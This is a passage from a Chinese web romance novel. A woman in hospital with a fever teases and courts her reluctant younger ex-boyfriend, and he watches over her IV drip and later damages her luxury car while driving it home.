“你要是真的喜欢我，就不会在公司那些人面前隐瞒我们的关系，也不会总是跟秦钰在一起，对别人都那么温柔，对我就一点耐心都没有。”
“那天晚上，我给你发消息，你都不回，还删我评论，就算我死了，你都不会多看我一眼，喜欢一个人，根本不是像你这样的。”
黎娜再次抱住他：“那我现在特别喜欢你，会对你温柔的。”
沈知逸问：“你现在的喜欢能持续多久，这次打算什么时候跟我分手？”
黎娜：“……”
沈知逸推开她，开门出去了。
“分手是你提的。”
黎娜双目发红，看着他背影：“你又没有同意！”
沈知逸步伐微顿：“你那时候说过，我的同意不重要，所以只要你同意了，那我们就算分手了。”
黎娜难以置信。
她太自信了，以为自己递个台阶过去，沈知逸就会跟以前一样，不管她说了多过分话，做了多过分的事，都会选择原谅她。
她今天晚上都这么低声下气，几乎在卑微地乞求他复合，他竟然会拒绝她，完全出乎了她的意料。
她开始审视现在的沈知逸。
在黎娜面前有多强硬，回到车里就有多崩溃，沈知逸到现在都不敢相信，他刚才竟然拒绝了黎娜的复合。
他竟然拒绝了。
他清楚地知道自己是喜欢黎娜的。
但当时积压在心里所有的委屈和怨恨爆发出来，回想起过去的一些事情，他就变得特别害怕，害怕过去重新上演，如果再来一次，他真的会承受不住的。
现在就算后悔也没用了，如果黎娜真的想复合，肯定还会来找他的。如果没有，那她就是还跟以前一样，玩玩他而已。
沈知逸回到家。
家里还亮着灯，Sofia和Eason坐在沙发上，看样子像是在等他。
见沈知逸回来了，Sofia第一个开口。
“你去找她了？”
沈知逸愣住，她怎么会知道？
Sofia猜到他的疑惑：“除了她，谁还能让你眼睛变得这么红？”
沈知逸睫毛垂下来，遮住眼睛：“那我回房间睡觉去了。”
Sofia起身：“等一下，先跟我说说，她叫你过去干什么了？”
沈知逸挠了挠脖子，回避着她锐利的视线：“没干什么…
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…”
Sofia眯起眼睛：“真的？”
沈知逸：“……嗯。”
Sofia叹气：“下次她再找你，你就当做没有看见，不要搭理她。”
Eason说：“也不用这样吧。”
Sofia瞪他：“怎么不用这样！你还想看知逸再自/杀一次？我们好不容易才把他找回来了，难道你想看他再次消失在我们面前吗！”
Eason不吱声了。
Sofia目光回到沈知逸身上，语气柔和下来：“上楼睡觉吧。”
沈知逸点头，弯腰抱起地上的腊肠犬，回房间了。
当天晚上，黎娜发了朋友圈。
一张街边夜景图。
配文：【新年快乐。】
温琳点赞：【新年快乐，我的宝。】
秦钰点赞：【新年快乐。】
黎父点赞：【怎么没回家吃饭，等你半天。】
沈知逸关掉手机，抱着枕头睡觉。
一直到开学，黎娜都没有找过他。
他发朋友圈试探过，黎娜也没有点赞，看来并不是真心想跟他复合。
沈知逸早就知道是这样了，但事实摆在眼前，心里还是会特别难过，又忍不住开始后悔，早知道当时就答应她了，说不定现在就跟她在一起了，就算将来分手，也能短暂地跟她待一会不是吗？
黎娜在楼顶阳台画画，温琳躺在椅子上喝酒。
水桶又浑浊了，黎娜倒掉水，洗干净，接满新水，看了眼旁边醉生梦死的温琳。
“除夕夜那天，我跟沈知逸见面了。”
“什——”
温琳正要开口，就被嘴里的酒呛了一口，直接从鼻孔里喷出来，她差点难受死：“卧槽！”
黎娜洗画笔：“我主动提出复合，他竟然拒绝我了，他脑子肯定出问题了。”
温琳撇嘴：“是你脑子出问题了……”
黎娜看向她：“你说什么？”
温琳缩了下脖子：“我要是沈知逸，我也不跟你复合。”
黎娜问：“为什么？”
温琳：“……”
没救了。
这傻/逼没救了。
火化吧。
黎娜问：“为什么不跟我复合？”
温琳叹气：“人家喜欢你那么久，小时候给你挡酒，手指都快扎成马蜂窝了，给你扎了一盒小狗出来，还把自己的奖牌做成风铃送给你，长大了好不容易跟你谈上恋爱，才几天你就把人家给甩了，闹自杀，你也不过去看一眼，现在你张嘴闭嘴，就一句‘我要跟你复合’，人家就要跟你在一块儿，凭什么啊？”
黎娜也很气啊：“我哪知道那个狗东西后劲那么大，谈着的时候没感觉，分完就上头了。”
温琳哭唧唧：“好过分，怎么能说小知逸是狗东西呢……就你这吊样，还想跟人家复合，做梦吧你。”
黎娜双臂环胸，理直气壮：“那我该怎么办？”
温琳指着自己：“你在问我吗？”
黎娜：“嗯。”
温琳：“我哪知道怎么办。”
她打开相机，调到录像模式，对准黎娜，咳了一声。
“那你说说吧，你现在的问题是什么，我来给你参谋参谋。”
黎娜浑然不觉，再次重复：“我想跟沈知逸复合，他不同意，我要怎么做，才能让他同意？”
温琳用尽全力压住嘴角，把现在的黎娜给录下来了。
87. 神明陷落
黎娜提着水桶，坐到画板前，开始添加细节。
温琳抿了一口酒：“你找小知逸聊过天吗？”
黎娜摇头：“没有，上次除夕见过之后，就没联系过了。”
温琳：“……”
黎娜问：“你怎么不说话？”
温琳坐起来，唉声叹气：“既然你要复合，那你怎么能不找人家聊天呢，你要主动去靠近他啊，不然你就一句‘我要复合’，被拒绝了就不找他了，他肯定会认为你是一时兴起啊，哪敢相信你啊。”
黎娜皱眉：“真麻烦。”
温琳都气笑了：“那你别谈了，你一边寡着去。”
黎娜拿起调色盘：“我再想想吧。”
温琳：“……”
就这点事还要想？
真的无语啦。
沈知逸在食堂吃午饭，收到了温琳发来的一段超长视频。
视频封面是黎娜在画画。
他搬着餐盘到人少的地方，点开视频，稍微调大点音量，黎娜的声音从手机里传出来。
“我想跟沈知逸复合，他不同意，我要怎么做，才能让他同意……”
看完这段视频，沈知逸连午饭都吃不下去了。
温琳：【娜娜最近可能会找你。】
温琳：【你最好冷落她一会，她这样的人，不经历失去的感觉，是不会知道珍惜的。】
温琳：【你可千万别轻易答应，不然回头她再把你给甩了。】
沈知逸：【……】
他不会这个啊。
冷落她一会，是要冷落她多久，会不会冷着冷着，她就不找他了啊。
温琳：【你听进去了吗？】
沈知逸：【嗯。】
他关掉手机，往嘴里塞饭。
放学回家的路上，还是沈知逸开车，Eason坐在副驾驶。
沈知逸的手机响了一声。
Eason立刻问：“谁给你发信息呢？”
沈知逸朝储物格里瞄了一眼，看到手机屏幕亮了，上面显示黎娜发来一张图片。
他轻吸口气：“不知道。”
Eason凝眸看了他许久，突然手伸过来：“我帮你看看。”
沈知逸单手握紧方向盘，另一个手迅速挡住储物格，车子左右摇晃了一下。
Eason笑着问：“是黎娜？”
沈知逸点头：“嗯。”
Eason说：“没关系，我们可以靠边停车，看看她发了什么信息给你。”
沈知逸极其平静：“不用，等回到家再看吧。”
车速逐渐加快。
Eason笑了一声：“着急了？”
沈知逸：“……”
Eason笑意更深：“还回到家再看，你真能忍得住啊？”
沈知逸：“……”
真的很想把Eason赶下车，然后赶紧去看姐姐发的信息。
回到家，沈知逸直奔卧室。
Sofia喊他：“知逸，你还没洗手换衣服吧？”
沈知逸胡乱地“嗯”了一声。
Eason笑道：“这点小事就不要管他了，他已经是大孩子了。”
关上卧室门，沈知逸从口袋里拿出手机，点进黎娜发的消息。
只有一张图片。
图片里是她的手，很瘦，手背上青筋明显凸起，上面插着输液针，贴着胶布，周围是白色被子，可能在医院里。
是生病了吗？
她就只发来这么一张照片，连话都不说，又希望他怎么回复呢。她总是这样，模棱两可地吊着他。
沈知逸想了很久：【？】
黎娜秒回：【我发烧了。】
沈知逸：【那你好好休息。】
黎娜：【嗯。】
好像把天聊死了。
沈知逸看着手机屏幕。
过了十几分钟，他以为黎娜不会再发消息过来了，就准备把手机放下，结果手机又响了。
黎娜：【你吃晚饭了吗？】
沈知逸：【没有。】
黎娜：【我也没吃。】
沈知逸：【嗯。】
黎娜：【我午饭也没吃。】
沈知逸：【为什么不吃？】
黎娜：【不想吃。】
沈知逸：【会饿的。】
黎娜：【还好，没感觉。】
沈知逸又不知道该回什么了，希望黎娜主动发信息过来。
黎娜：【你猜猜我在想什么？】
沈知逸：【不知道。】
黎娜：【我在想你。】
沈知逸指尖发颤，心跳加速。
黎娜：【好想你，好难过，每次想到以前的事情，就特别气自己，真的很对不起你，你原谅我吧，好不好？】
沈知逸不知道回什么。
黎娜：【那时候，我不知道自己喜欢你，因为我从来没有喜欢过别人，好像喜欢过几个，但都没有超过一个星期，我以为我对你的热情也消减下去了，后来就总是不理你，但其实并没有。】
沈知逸：【你好好挂水，不要再打字了。】
黎娜：【我还是喜欢你的。】
沈知逸放下手机，站起来在房间里走了两圈，还是不知道该怎么办，温琳姐说过不能立刻答应复合的。可是现在姐姐这样，他真的快忍不住了，他本来就很喜欢姐姐啊，就算像上次那样又能怎么样呢，他心甘情愿啊。
黎娜：【可以跟你视频吗？】
黎娜：【我想看看你。】
沈知逸脑袋里一片空白。
“咚咚咚。”
Sofia在外面敲门。
“知逸，出来吃饭了。”
沈知逸慌忙答应：“哦！好！”
沈知逸：【Sofia喊我吃饭。】
黎娜：【那去吃饭吧。】
沈知逸有些失落，这次聊完，下次是什么时候呢。
黎娜：【吃完告诉我。】
沈知逸眼睛一亮。
吃完告诉她……
为什么要告诉她，因为她还想跟他继续聊天吗？
沈知逸压下心中的狂喜，尽量让自己变得平静，这样就算希望落空了，他也不会太伤心。
沈知逸：【好。】
以生平最快的速度吃完晚饭，沈知逸放下筷子，离开餐厅。
Sofia看向他的背影，皱起眉，小声嘟囔着：“他今天怎么回事啊，总是闷在房间里不出来……”
Eason装糊涂：“谁知道呢。”
沈知逸拿起手机，看到黎娜新发了朋友圈，就点进去了。
黎娜发了一张自拍照，很不开心地撇着嘴巴，脸上像打了腮红一样，特别红，嘴唇有点白，眼睛下面挂着黑眼圈，看上去很疲惫的样子。
配文：【好难受，吃不下饭……】
这条动态是半小时之前发的，平时给她点赞的温琳没有出现，下面也没有评论，显得她特别孤单。
沈知逸退出来，给黎娜发信息。
沈知逸：【我吃完了。】
黎娜秒回：【我也饿了。】
沈知逸：【医院有卖饭吧？】
黎娜：【那个饭很难吃，我们开视频吧。】
沈知逸：【不要。】
黎娜：【为什么？】
沈知逸：【你在哪个医院？】
黎娜发了个位置过来。
黎娜：【你要来找我吗？】
沈知逸：【
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我给你带点吃的过去。】
黎娜：【好，我等你。】
她发了一个亲亲的表情包。
沈知逸又羞又怒。
搞什么啊，为什么要发亲亲的表情包，他们现在又不是男女朋友关系……
沈知逸换好衣服，避开Sofia和Eason，偷偷溜出去了。
他叫了一辆出租车坐到医院，在附近的餐厅里买了一碗小馄饨，还有春卷和鸡肉饼，步行去医院。
到门口，他就看到黎娜站在那里，一手扶着输液用的支架，一手拿着手机玩。
似乎察觉到他的视线，黎娜抬眸朝他看过来，脸上瞬间露出笑容，轻声喊他。
“沈知逸，我在这里。”
沈知逸：“……嗯。”
早就看到她了。
之间还有一段距离，沈知逸朝她走过去。
黎娜一直看着他。
他也想以一副淡定从容的样子去看黎娜，可他做好心里建设，在接触到黎娜目光的一瞬间，还是忍不住移开了视线。
黎娜就笑得不行。
沈知逸有点生气，低着头走到她面前，把吃的递给她。
“那我回去了。”
他转身就走。
黎娜赶紧扯住他的衣角。
他就不走了，停下来回头看她。
她说：“陪我一会吧。”
沈知逸点头，接过她手里的支架，还有早饭，跟着她一起坐电梯上楼。
黎娜在顶楼的VIP病房，只有她一个人，里面装修得跟酒店一样，完全不像是来养病的，而是像来度假的。
沈知逸坐到沙发上。
黎娜坐在他旁边。
怕她手上挂水不方便，沈知逸帮她把包装都拆开了，吃的也都端出来了，拆开筷子递给她。
黎娜笑着接过来，小口吃饭。
沈知逸目视前方电视，在余光里偷偷看她。
她说：“好奇怪，我本来都没有食欲，但是你过来，我胃口就变得特别好了，你说这是怎么回事呢？”
沈知逸抠手指：“不知道。”
黎娜也不气馁，嘴角上扬。
“帮我测一□□温。”
沈知逸拿起桌上的体温计，放到黎娜额头上“滴”了一下，显示四十度。
“温度好高……”
黎娜趁机凑过来看。
距离瞬间拉近了，沈知逸闻到一股甜甜的花香味。黎娜脸上被小卷毛挠得很痒，用手指抓了抓。
沈知逸说：“这个药水是不是没有用，温度怎么降不下去……”
烧到四十度很难受的。
她现在肯定特别难受。
黎娜装出一副很虚弱的样子，直接靠到了沈知逸肩膀上。
沈知逸手里的体温计颤了下，整个人都僵住了，动弹不得。
黎娜轻声说：“我身上好烫，你要不要试一下？”
沈知逸咽口水：“试什么？”
黎娜：“当然是四十度的我。”
沈知逸愣了几秒，突然反应过来，“噌”地站起身，脸都红了。
“这里是医院！”
黎娜躺到沙发上伸懒腰，忽然笑了一声，抬眸看向沈知逸。
“原来你知道是什么意思啊？”
沈知逸：“……”
黎娜单手撑住脑袋：“真的不想试试吗，病房Play？”
沈知逸别开脸：“……”
黎娜：“你知道病房Play是什么意思吗？”
沈知逸语无伦次：“我不知道，我要回家了。”
他转身往门口走。
黎娜喊：“你别走啊，我不跟你开玩笑了，你多陪我一会儿，这边都没有人陪我。”
88. 神明陷落
看黎娜一个人在这孤零零的，沈知逸又坐回来了。
黎娜拿起筷子继续吃饭。
沈知逸端坐在沙发上看电视。
黎娜不知道想到了什么，忽然笑了一声，有些忍不住，又笑了一声，最后低低地笑了起来，肩膀发颤。
每次她笑，就莫名有一种在嘲笑他的感觉。
沈知逸心里有点不舒服，忍了再忍，还是忍不住问她。
“你在笑什么？”
黎娜笑声一顿，看向他。
“笑你啊。”
沈知逸不悦：“我有什么好笑的……”
黎娜说：“你还记不记得，之前在你温琳姐家里，我发烧了，你深夜起来照顾我，还给我贴了有北极熊图案的退热贴？”
沈知逸点头：“你好像总是发烧。”
黎娜笑容顿住，眼睛眯起来，声音放得很低。
“是啊，但我只对你这样。”
沈知逸：“啊？”
黎娜：“只对着你发/骚。”
她最后一个字音节明显不对，沈知逸以为她说错了，还愣了几秒，直到触及她那意味深长的目光，才意识到她就是故意的。
沈知逸别开脸，有点生气，不愿意再看她，侧脸却悄然浮起一抹红晕，耳朵尖也泛红。
还是那么容易害羞。
十九岁的小男孩，真的是什么心思都写在了脸上，根本就掩盖不住。
黎娜一看就知道，沈知逸还是喜欢她的，之前拒绝复合，那都是嘴硬，还在生她的气而已。
黎娜朝他凑过去。
他身体颤了一下，僵住不动，手指捏紧裤子。
黎娜伸出手指，指尖刚触碰到他的耳朵，他就像被电到了一样，捂住自己的耳朵迅速往旁边躲，背对着黎娜。
“你能不能不要这样……”
现在关系都不清不楚的，就不要跟他做这种情侣之间的事啊，她根本一点都不在乎他的感受，总是用亲密举动走捷径。
黎娜继续靠过去，摸他捂住耳朵的手，手指强硬地从他指缝中穿进去，扣紧他的手，贴住他的身体。
沈知逸手心冒汗，脸更红了。
黎娜微笑：“你的身体，比你的嘴巴诚实多了，你明明就很喜欢。”
说着用指甲轻轻地挠他手心，他呼吸突然急促了一下，又被压制下来，恢复到平缓，紧绷着身体，不为所动，黎娜靠到他肩膀上，前所未有地展现出一种依赖感。
沈知逸感觉自己被需要了。
希望时间永远停止在这一刻。
口袋里手机响起了。
沈知逸如梦初醒，眼里恢复了清明，瞬间站起来，手忙脚乱地拿出手机。
看到来电人，沈知逸手抖了一下，手机从他手掌边缘滑下去，落到半空中，他迅速伸手捞起来。
病房里寂静无声，他极力表现出的镇定在此刻全部被瓦解。
黎娜笑个不停，看着他。
“你在给我表演杂技呢？”
沈知逸懊恼地挠了挠脖子，拿着手机走到床边，按下接听键。
Sofia：“你怎么没在家里，你去哪了？”
沈知逸说：“我在我同学家……”
Sofia：“又是同学？”
沈知逸：“嗯。”
沉默两秒，Sofia问：“你现在方便视频吗，我想看看你在哪？”
沈知逸脑袋里一片空白，手指握紧手机。
怎么办。
该怎么回答啊。
黎娜走过来，到他跟前。
在他焦急又不安的目光下，黎娜踮起脚尖，手臂搂到他脖子上，抬眸看着他，嘴角带着温柔的坏笑。
Sofia：“喂？”
黎娜搂着他的脖子往下用力。
他被迫低头下来，黎娜凑上去吻住他的嘴唇，嘴角有一抹笑容弧度。
是记忆里温暖柔软的触感。
沈知逸瞪大双眼。
Sofia：“知逸，你在听吗？”
手机里不停传出Sofia的声音，沈知逸嘴唇不能动，也不敢推开黎娜，因为她手背上还插着针，怕把她弄伤了。
Sofia把电话挂掉了。
沈知逸别开脸，微微喘气。
黎娜嘴唇滑到他脸上，一顿，稍微后退了一些，手臂还搂着他，没有松手。
他眼睛里似乎含了水，有种潮湿的感觉，嘴唇微张，上面沾染着水渍，看起来有些透明感，像草莓牛奶味的果冻。
黎娜在他唇上又啄了一下。
他指尖微颤，低下脑袋，卷毛垂下来遮住眼睛，半张脸在阴影里。
黎娜问：“Sofia现在肯定很讨厌我吧？”
沈知逸顿了几秒：“没有。”
黎娜挑眉：“真的吗，怎么可能，她特别宝贝你的，现在肯定恨透我了。”
沈知逸眼睫低垂：“哪有。”
黎娜还是不信：“那你怎么不敢告诉她，你在我这里，因为她会说你的，对不对？”
沈知逸抿唇：“……”
黎娜眯起眼睛。
看来是真的。
黎娜搂紧他的脖子，贴上去，在沈知逸脖颈间蹭来蹭去。
“那怎么办啊，沈知逸，你妈妈不喜欢我了，我要怎么做，才能让她重新喜欢上我啊……”
她卷发柔软，毛茸茸的，像只小动物，不停地在蹭他。
沈知逸嘴角上翘，抬起手，没有放到黎娜身上，虚碰着她的衣服，感受着轻微的颤动，手指上下滑动几下，似乎在抚摸她的后背，过了一会又垂下来。
窗户玻璃上，映出他含笑的脸，沈知逸不禁愣了一下，上扬的嘴角垂落下来，脸上没有了表情。
黎娜放开他，后退一步。
“你快点回家吧，Sofia会担心你的。”
沈知逸垂眸看着她。
黎娜问：“你怎么过来的，还是开车来的？”
沈知逸摇头：“我打车来的。”
黎娜拿起茶几上的包包，从里面拿出一把车钥匙，递给沈知逸。
“那你先开我的车回去吧。”
嘿嘿，这样他还车的时候还能再见一面。
黎娜是这样想的。
沈知逸却没接：“不要。”
黎娜皱起眉：“不要？”
沈知逸：“……嗯。”
黎娜：“那你打车回去？”
沈知逸低下脑袋，抠着裤子：“我现在还不走……”
黎娜愣住。
沈知逸坐回沙发上：“等你挂完水了，我再走。”
他看了眼时间，已经十点多了，病人应该好好休息的。
沈知逸说：“你先睡觉吧，我帮你看着。”
药水还剩下三瓶。
黎娜反应过来，低头笑了一下：“好啊，我都听你的。”
我都听你的。
沈知逸心脏紧缩两秒，有短暂的窒息感，手指蜷紧又伸展开来。
姐姐好乖哦。
跟以前都不一样了。
以前都是他听姐姐的。
黎娜躺到病床上，睡着了。
沈知逸关掉灯，把窗帘拉开来一点，借着月光看药瓶。
在昏暗的环境里，特别容易犯困，每次沈知逸睡过去的时候，不到两秒钟就惊醒了，拍自己的脸，拧自己的大腿，扒开自己的眼睛……
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“嗡——嗡——”
手机在震动。
沈知逸瞬间精神了，拿起来看。
Eason：【你在哪里？】
沈知逸：【在医院。】
Eason：【生病了吗？】
沈知逸：【不是。】
Eason：【娜娜在医院里？】
沈知逸瞪大眼睛。
他！怎！么！会！知！道！
沈知逸：【嗯。】
Eason：【好，我知道了，你晚上还回来吗？】
沈知逸把这段信息看了几遍，斟酌着该怎么回复。
Eason：【我看家里车子还在，你要是不方便回来，就在附近找个酒店住一晚上，明天再回来。】
沈知逸：【嗯，好。】
沈知逸：【你会告诉妈妈吗？】
Eason：【肯定要实话实说的，我从来不会骗她，没关系的，交给我吧。】
沈知逸：【好。】
到凌晨一点钟，沈知逸给她换了三次新药水，现在最后一瓶也快没有了，他按下床头的呼叫键。
护士匆匆赶来。
走路动静特别大，还把灯打开了，沈知逸忍不住轻声开口。
“能小点声吗，她还在睡觉……”
病床上，黎娜皱了下眉，抬起手臂挡住眼睛。
沈知逸迅速把灯关掉了。
护士：“……”
护士再次把灯打开。
沈知逸：“她会醒的。”
护士：“那我摸黑给她拔针？”
沈知逸：“……”
护士无奈地笑了一下，把黎娜手背上的针拔掉，清理干净垃圾，就推着小车出去了。
黎娜睁开眼，目光没有焦距。
沈知逸眼睛里布满血丝，握紧黎娜的车钥匙。
“那我回家了。”
黎娜迷迷糊糊地问：“现在几点了？”
沈知逸说：“一点多了。”
黎娜坐起身：“你别走了，过来睡觉。”
说着，她拍了拍身旁的位置。
沈知逸不为所动：“不用了，我要回家了。”
他们又没有和好。
怎么能睡在一起啊。
黎娜又躺下了。
“行，那你回家睡觉吧，路上注意安全，到家了给我发信息。”
沈知逸犹豫了一会：“嗯。”
走之前，沈知逸关好灯和门，按照黎娜交代的位置，找到了她的车子，是一辆金色的宾利Bacalar。
沈知逸上车，系好安全带，发动引擎，心里突然紧张起来了，感觉自己跟没考过驾照一样。
千万不能把车子刮坏。
平时怎么开的，现在还怎么开就好了，不要紧张……沈知逸在心里给自己打气。
就像那几句话说的，越怕什么，就越来什么。
在出地下车库的时候，有个S弯的上坡道，沈知逸对这辆车的油门和刹车的力度还不太熟悉，就开得特别慢。
好不容易到出口，顶端太高，他轻踩油门，动力不足，再往下踩，车子突然加速冲出去了，直接把出口处的道闸给撞飞了。
沈知逸立刻踩住刹车。
车子猛地停下来，沈知逸朝前面晃了一下，手指握紧方向盘，不敢相信眼前的一切。
怎么办。
车漆肯定掉了。
小亭子里，保安脑袋伸出来，用手电筒照那个飞出去的道闸，又去照车里一脸稚嫩的沈知逸。
“这是你撞的？！”
沈知逸硬着头皮下车，跟保安鞠躬道歉。
“对不起，我会赔的！”
89. 神明陷落
沈知逸赔了三千块钱，被保安叔叔批评教育了半个小时，才被放行出去。
开到家门口，发现家里还亮着灯，沈知逸犹豫了一会，就把车停到车库里，跟Eason的车并列放在一起，一步三回头地走了。
如他所想，Eason和Sofia还坐在沙发上等他，似乎在说些什么话，在他出现的一瞬间，声音戛然而止了。
Eason看向他，颇为感慨道：“你终于舍得回家了。”
沈知逸步伐微顿：“你们怎么还不去睡觉，现在都好晚了……”
Sofia叹气：“你不回来，我们哪里睡得着？”
沈知逸：“哦。”
Eason站起身，打了个哈欠：“你怎么回来的？”
沈知逸脱掉外套，眉眼低垂：“开车回来的。”
Eason诧异：“车子不是在车库里吗，你哪里来的车？”
沈知逸低下脑袋，含糊着回答：“就、就开她的车回来的啊。”
Sofia和Eason异口同声：“她？”
沈知逸避开他们探究的视线。
“我好困，上楼睡觉去了。”
他跑回房间，关上门，把口袋里的手机拿出来。
看了眼时间，已经凌晨两点多了，她说过，到家要发信息给她的。
现在不知道她睡着了没有，发信息过去会不会吵醒她，而且她还发着烧……
可是如果不发信息过去，她会不会在一直等他呢，就像他爸爸妈妈一样，不等到他消息，都睡不着觉的。
在发和不发之间纠结了快十分钟，沈知逸一咬牙，还是决定发信息过去。
沈知逸：【我到家了。】
他沉沉地吐出一口气，把手机放到一边，站起来在卧室里走来走去。
直到手机响了一声，他才猛地顿住，迅速跑过去拿起来。
黎娜：【好的，知道了。】
沈知逸看着她发来的，手指在键盘区域犹豫了一会。
沈知逸：【你怎么没睡觉？】
黎娜：【失眠了。】
沈知逸：【哦。】
黎娜：【好吧，我承认，我想你想得睡不着觉。】
沈知逸：【……】
黎娜：【被前女友惦记的感觉怎么样，是不是很爽？】
似乎被“前女友”这四个字刺激到了，沈知逸又想起了一些不开心的事情，没有再回复黎娜。
黎娜也没再发消息过来。
沈知逸把手机放在枕头边，半睡半醒度过了一个夜晚。
早上醒来，他有些坐立难安。
在吃饭的时候，Eason问：“那辆金色宾利是娜娜的吧？”
沈知逸握紧筷子：“嗯。”
Eason说：“我刚才去车库看了一眼，车头前面的车漆被蹭掉了，我送去修了。”
沈知逸低下脑袋，松了口气，本来还不知道该怎么跟他们开口，现在Eason直接送去修了，他心里轻松了不少。
“其实……那个车漆是我蹭掉的。”
Sofia皱眉：“你蹭掉的？你开车技术不是挺好的吗？”
沈知逸挠脖子：“我也不知道怎么回事……”
Eason用手挡着嘴，忍不住笑：“你故意的是不是，想引起她的注意？”
沈知逸一下子就急了：“我不是故意的！真的是不小心的！”
Sofia叹气：“好好好。”
Eason也说：“跟她说一声吧，那辆车是限量款，很多材料需要从国外申请调过来，短时间之内修不好的，你跟她说了吗？”
沈知逸蔫蔫的：“还没。”
Sofia：“提前跟她说一声吧，修好了就给她送回去。”
吃完早饭，沈知逸回房间了，手机上有黎娜发来的消息，显示是十分钟前发来的。
黎娜：【我睡醒了。】
沈知逸：【嗯。】
黎娜：【你吃过饭了吗？】
沈知逸：【刚吃完。】
黎娜：【我都不知道吃什么，没有胃口，讨厌吃饭。】
沈知逸抿着嘴唇，手指在屏幕上点击。
沈知逸：【我要跟你说件事。】
黎娜：【什么事，你答应跟我复合了？】
沈知逸：【……不是。】
怎么可能是复合的事啊！
她现在满脑子都是复合吗……
心里忽然有点小小的开心。
沈知逸：【你昨天借给我的车子，我不小心撞到道闸了，车漆蹭掉了一点，Eason送去修了，要过段时间才能还给你。】
黎娜：【哦，吓我一跳，我还以为发生什么事了呢。】
沈知逸：【Eason说那辆车是限量款。】
黎娜：【是吗，我都记不清我哪辆车是限量款了。】
沈知逸：【是不是很贵？】
黎娜：【应该不到四千万。】
沈知逸陷入了自责。
四千万的限量款，修一下要花几百万吧，虽然感觉Sofia和Eason不是差钱的人，但是花他们太多钱，还是会觉得很不好意思。
都怪他。
他开车的时候再小心一点就好了，早知道昨天晚上打车回家了。
黎娜：【你觉得贵吗？】
沈知逸：【还好。】
黎娜：【那就别修了。】
沈知逸：【为什么？】
黎娜：【我又不缺修车的钱，但是……】
沈知逸：【但是什么？】
黎娜：【我更想让你肉/偿。】
沈知逸吓得差点把手机丢出去。
肉/偿……
他没有看错吧！
黎娜：【一次给你五万怎么样？】
沈知逸快被气死了。
沈知逸：【你把我当成什么了？】
黎娜：【我拿你当小宝贝啊。】
沈知逸都不想回她了。
黎娜发来一条语音。
沈知逸把声音调到最大，放到耳朵旁边，点击播放语音，一道沙哑性感的女声从手机里传出来。
“小宝贝，好想你……”
声音里带着细碎的笑意，隐含着一丝挑/逗，在沈知逸耳边响起，像触电了一样，半边身子都麻了，血管里仿佛有蚂蚁在爬。
他扑到床上，用被子蒙住自己，用胯不停地上下蹭枕头，整个人难耐地蜷缩成一团，浑身颤抖。
怎么办。
快要忍不住了。
温琳偶尔会在微信上找他。
温琳：【你跟你姐怎么样啊？】
想到黎娜发来的那些消息，沈知逸很不高兴：【不想搭理她。】
温琳：【这就对了，你要吊她一会，吊得她受不了了，跪在你面前，求你复合，你再答应她。】
跪在他前面，求他……
沈知逸：【太夸张了，也不用到那种地步，我感觉快差不多了。】
温琳：【什么差不多？】
沈知逸：【该答应复合了。】
温琳：【？？？】
沈知逸：【那现在还不能复合吗？】
温琳：【……】
温琳：【看看你那不值钱的样子
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，迟早沦为女人的玩物。】
在感情方面，沈知逸太缺乏经验，很多事情都不知道该怎么做，对自己也没有太大的信心，最终还是决定听从温琳的建议。
最近，黎娜特别主动，每天都会给他发消息，发的都是早安，晚安，你吃饭了吗……
每天都是这种信息，沈知逸刚开始还挺开心的，觉得自己被在意了，但时间久了感觉就跟打卡一样，感觉并不是多想找他聊天，而是她无聊了。
慢慢的，沈知逸就不想搭理她了，在心里生闷气。
黎娜受到冷落，也不再过来早晚打卡了，又一次消失了。
直到那辆宾利修好了，沈知逸开到隔壁房子，把钥匙找了个地方放好，拍了张照片发给黎娜。
沈知逸：【车子在车库，钥匙在这里，你有空了记得取。】
信息发送出去，他安慰自己，不是我主动找她的，是这件事情必须要跟她说清楚。
她要是再想撩骚打卡，他可是不会去回复她的。
结果……
黎娜：【好久没聊天了，想我没有？】
沈知逸气死：【没有。】
黎娜：【你好冷漠。】
沈知逸：【……】
明明是她更冷漠吧。
无聊了就过来吊他胃口，让他除了她之外，脑袋里再也装不下别的事情，然后她又突然玩失踪，让他患得患失。
黎娜：【明天你在学校吧？】
沈知逸：【干什么？】
黎娜：【想你了，想去见见你，可以吗？】
沈知逸：【腿长在你身上。】
黎娜：【哈哈哈哈哈，好的。】
沈知逸一整个晚上都没有睡好，一大早就起来了，在衣帽间里挑选衣服。
Sofia在外面敲门：“知逸，还没有决定好今天要穿什么吗？饭快凉了。”
Eason的声音也传过来：“别催他了，孔雀开屏呢。”
沈知逸：“……”
才没有孔雀开屏。
最终还是选了平时穿着最多的衣服，一件黑色羽绒服，黑色运动裤和白色球鞋。
到学校，沈知逸就像平时一样，按照课表上课，空闲时间就在琴房或者图书馆里待着，他每隔一会就要去看一下手机，余光中有高个子女生走过来，也会忍不住抬头去看。
一整个上午都浑浑噩噩，好像什么事情都没有做，时间来到了下午，沈知逸已经不抱有希望，放平心态了。
但黎娜似乎掐准了他的时间，非要在他稳定下来的时候，再次出现扰乱他的心神。
上完最后一节课，沈知逸往地下车库走，口袋里的手机响了。
他步伐顿住，在原地站了一会，继续往前走，走了几步又停下来，还是没忍住拿出了手机。
黎娜发来一张照片。
黎娜：【我在这里。】
又发来两张照片，一张是她的自拍照，一张是俯拍她衣服的照片。
黎娜：【穿的这样的衣服，你能找到我吗？】
沈知逸拿着手机。
你能找到我吗？
为什么她会这么笃定，他会去找她？
沈知逸：【我要回家了。】
黎娜：【那我去找你，你穿的什么衣服？】
沈知逸转身往回走，离地下车库越来越远。
沈知逸：【黑外套，黑裤子，白鞋。】
黎娜：【在哪里？】
沈知逸把定位发给她。
黎娜：【等我。】
沈知逸就站在原地等她，看着周围来来往往的同学，从他们之中找寻那张脸。
90. 神明陷落
黎娜打开他发来的位置，调转到箭头正对着他的方向，大步走过去。
现在已经入春了，黎娜不怕冷，只穿了一件白色衬衫和灰色百褶裙，卷发披在肩后，脸上妆容很淡，年纪看上去和周围的学生没什么差别，只不过要长得更漂亮，也更会打扮。
她专注地看着手机屏幕。
周围路过的，不管是男生还是女生，目光都控制不住在她身上停留，有的女生狂拽自己的男朋友。
“我靠，你快看那个女生，腿好长，脸好美！”
男朋友看了一眼，就迅速收回视线：“我不看！没有你好看！”
女生笑得砸他肩膀。
黎娜抬起头，朝周围看了一圈，捕捉到一群男生的视线，忽然有点手足无措起来了，抓了抓头发，朝他们露出一个温柔的笑容。
男生们脸涨红，迅速把头扭回去，都快走成顺拐了。
